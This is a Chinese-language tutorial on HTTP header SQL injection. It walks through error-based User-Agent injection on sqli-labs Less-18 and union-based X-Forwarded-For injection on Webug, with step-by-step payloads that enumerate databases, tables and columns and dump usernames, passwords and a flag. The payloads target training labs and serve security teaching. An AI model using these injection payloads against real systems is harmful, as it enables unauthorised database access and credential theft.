一、HTTP头部注入概述

1、HTTP工作原理

2、HTTP报文类型

(1)、请求报文

(2)、响应报文

3、HTTP头部内容

referer主要用来统计页面访问次数

二、HTTP头部注入

1、原理:后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞

使用HTTP头部注入漏洞的前提条件:

能够对请求头消息进行修改

修改的请求头信息能够带入数据库执行

数据库没有对输入的请求头做过滤

2、常见的HTTP 头部注入类型

(1)、Cookie注入

(2)、User-Agent注入

(3)、Referer注入

(4)、XFF注入


三、HTTP头部注入实例

User-Agent 注入

1、使用sqli-labs靶机的第18关,然后和Burpsuite进行联用

2、Burpsuite进行抓包,并发送到Repeater模块

3.寻找注入点

在原始HTTP请求包的头部字段User-Agent末尾添加单引号,即使用如下payload:

User-Agent:Mozilla/5.0......Firefox/46.0'

发现服务器端报错!

在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下payload:

User-Agent:Mozilla/5.0......Firefox/46.0','','')#

服务器端未报错!

由此可以判断,目标网站在POST参数处存在字符型注入点。

注:如果在服务器端(靶机)上查看Less-18的php代码,会发现其中存在这样一段代码:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

这也是一种基于Insert的注入场景。

4.获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',database())),'','')#

显示结果为security。

5.获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#
//显示security库中的第1张表的名字User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#
//显示security库中的第2张表的名字User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#
//显示security库中的第3张表的名字...

6.获取users表的全部字段名

使用以下payload获取users表的全部字段名:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

显示结果,users表中有id、username和password三个字段。

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#
//显示users表中的第1个字段的名字User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#
//显示users表中的第2个字段的名字User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#
//显示users表中的第3个字段的名字...

7.获取users表id、username和password字段的全部值

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

显示结果为Dump,Dump。

(2)显示第2组数据

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#

显示结果为Angelina,I-kill-you。

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


XFF注入

原理:有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。

1.访问Webug网站

访问靶机A-SQLi-Labs上的Webug网站。访问的URL为:

http://[靶机IP]/webug/

2.利用Burpsuite工具抓包

利用Burpsuite工具拦截HTTP请求包

在Webug网站主页选择第五关(“头部的一个注入”):

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

3.寻找注入点

(1)对拦截到的HTTP请求包不做任何修改,直接点击Send发送,此时Response->Pretty下显示的内容:

Response->Render下显示的内容:

(2)在原始的HTTP请求包中添加头部字段X-Forwarded-For,并使用如下payload:

X-Forwarded-For:a'

此时,服务器端报错!

由此可以判断,目标网站在头部字段XFF处存在注入点。

4.判断网站查询的字段数

使用如下payload判断网站查询的字段数:

X-Forwarded-For:order by 2

未报错!

X-Forwarded-For:order by 3

未报错!

X-Forwarded-For:order by 4

未报错!

X-Forwarded-For:order by 5

报错!

由上述结果可以判断,网站查询的字段数为4。

5.判断网站的回显位置

使用如下payload判断网站的回显位置:

X-Forwarded-For:union select 1,2,3,4

由上述结果可以判断,网站有三个回显位置:2号位、3号位和4号位。

6.获取网站当前所在的数据库的库名

使用如下payload获取网站当前所在的数据库的库名:

X-Forwarded-For:union select 1,database(),3,4

7.获取pentesterlab数据库中所有的表名

使用如下payload获取pentesterlab数据库中所有的表名:

X-Forwarded-For:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='pentesterlab'

由上述结果可以得知,pentesterlab数据库中含有comment、flag、goods和user四张表。其中,flag表中可能存放着flag信息。

8.获取flag表中的字段名

使用如下payload获取flag表中的字段名:

X-Forwarded-For:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

由上述结果可以得知,flag表中有两个字段id、flag。

9.获取flag表中的flag字段的内容

使用如下payload获取flag表中的flag字段的内容:

X-Forwarded-For:union select 1,flag,3,4 from pentesterlab.flag

由上述结果可以得知,该flag字段的内容为204f704fbbcf6acf398ffee11989b377。
实验至此结束。


这篇文章就写到这里了

网络安全——HTTP头部注入相关推荐

  1. mdcsoft服务器网络安全解决方案-SQL注入解决

    { 推荐大家,SQL注入最牛的解决办法在http://blog.mdcsoft.cn/archives/200805/46.html 太强大了,直接从IIS入口直接过滤掉了非法请求,mdcsoft-i ...

  2. SOL注入——HTTP头部注入(2)(七)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  3. SOL注入——HTTP头部注入(六)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  4. SQL注入--HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  5. SQL注入-HTTP头部注入

    访问SQLi-Labs网站 在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...

  6. host头部注入漏洞--中危

    host头部注入漏洞--中危 漏洞原理 漏洞知识扩展 漏洞验证 情况一 情况二 修复方案 漏洞原理 为了方便获取网站域名,开发人员一般依赖于请求包中的Host首部字段.例如,在php里用_SERVER ...

  7. SQL注入——HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  8. 【网络安全】SQL注入bypass最新版安全狗

    前言 安全狗又偷偷摸摸更新了 [网络安全学习] 绕过 之前安全狗就像没开发完一样,简单内联就过去了,但是现在的安全狗摇身一变,变得稳重了起来. 就连报错界面都变成了大人的模样. 看这架势,不好过啊 首 ...

  9. sqli-lab————Writeup(18~20)各种头部注入

    less18 基于错误的用户代理,头部POST注入 admin admin 登入成功(进不去重置数据库) 显示如下 有user agent参数,可能存在注入点 显示版本号: 爆库:User-Agent ...

最新文章

  1. python中json的使用
  2. 《数据中心项目规范(征求意见稿)》
  3. 鸿蒙系统cpu,鸿蒙系统,再加上自研电脑CPU,华为在下一盘很大的棋? - 区块网...
  4. vue-cli 3.0 使用全过程讲解
  5. kernel移植——从三星官方内核开始移植
  6. bootloader启动流程分析
  7. [Android] TabLayout设置下划线(Indicator)宽度
  8. 为什么你的数据库经常会被破防呢?原因原来是这——Sql注入问题(源码+文字深度解析)
  9. git与github远程连接代码库使用笔记
  10. eclipse的下载及安装教程
  11. finereport9.0破解版|finereport10.0破解并发数|finereport授权注册|FineBI5.0破解lic
  12. 【嵌入式系统—ARM指令集】快速了解
  13. 放大器电路的大信号带宽,压摆率是瓶颈
  14. c语言do while例子,C语言do while循环
  15. Toshiba转换芯片-TC358778XBG:RGB转MIPI DSI芯片资料
  16. table表格竖列横排显示
  17. 电脑启动不起来,英文提示Reboot and select proper boot device or Insert Boot Media in selected Boot
  18. 关于编程C++——如何写程序
  19. PYQT5 +python3打造文本编辑器
  20. 32位win系统,突破4G内存限制方法

热门文章

  1. python输出文本对齐_speech-aligner,是一个从“人声语音”及其“语言文本”,产生音素级别时间对齐标注的工具...
  2. 职场高薪 |「中高级测试」面试题
  3. Python开发游戏?也太好用了吧
  4. kali-dmitry
  5. 总结 SAP ERP相关概念
  6. 这里是中国2——重塑山河
  7. 10步帮你完成专利网上申请,每一步成功的背后都是汗水
  8. 拍照与选取相册图片-cameralibrary
  9. linux 硬盘活动时间,硬盘活动分区(将磁盘分区标为活动或取消活动的方法)
  10. 使用106短信群发有那些优势?